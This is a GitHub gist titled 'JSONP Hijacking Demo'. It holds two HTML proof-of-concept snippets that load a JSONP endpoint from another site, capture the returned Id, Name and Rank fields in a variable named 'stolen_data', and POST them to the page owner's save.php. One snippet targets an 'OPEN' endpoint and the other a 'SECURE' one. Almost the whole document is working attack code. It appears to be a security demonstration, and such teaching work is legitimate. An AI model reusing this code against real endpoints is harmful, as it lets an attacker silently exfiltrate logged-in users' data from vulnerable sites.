Last active
June 13, 2018 06:12
-
-
Save yehgdotnet/4818f5f6d66adc7f9b688878282d0cee to your computer and use it in GitHub Desktop.
JSONP Hijacking Demo
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- --> | |
<script> | |
function SavetoServer(data){ | |
var xhttp = new XMLHttpRequest(); | |
xhttp.open("POST", "save.php", true); | |
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
xhttp.send(data); | |
} | |
function parseResponse(s){ | |
stolen_data = "id=" + s['Id'] + "&name=" + s['Name'] + '&rank=' + s['Rank']; | |
document.write("Id:" + s['Id'] + "<br>"); | |
document.write("Name: " + s['Name'] + "<br>"); | |
document.write("Rank: " + s['Rank'] + "<br>"); | |
SavetoServer(stolen_data); | |
} | |
</script> | |
<script label="OPEN JSON Endpoint" src="https://cybersecurityassessor.ninja/poc/jsonp_data.php"> | |
</script> | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function SavetoServer(data){ | |
var xhttp = new XMLHttpRequest(); | |
xhttp.open("POST", "save.php", true); | |
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
xhttp.send(data); | |
} | |
function parseResponse(s){ | |
stolen_data = "id=" + s['Id'] + "&name=" + s['Name'] + '&rank=' + s['Rank']; | |
document.write("Id:" + s['Id'] + "<br>"); | |
document.write("Name: " + s['Name'] + "<br>"); | |
document.write("Rank: " + s['Rank'] + "<br>"); | |
SavetoServer(stolen_data); | |
} | |
</script> | |
<script label="SECURE JSON Endpoint" src="https://cybersecurityassessor.ninja/poc/jsonp_data_secured.php"> | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment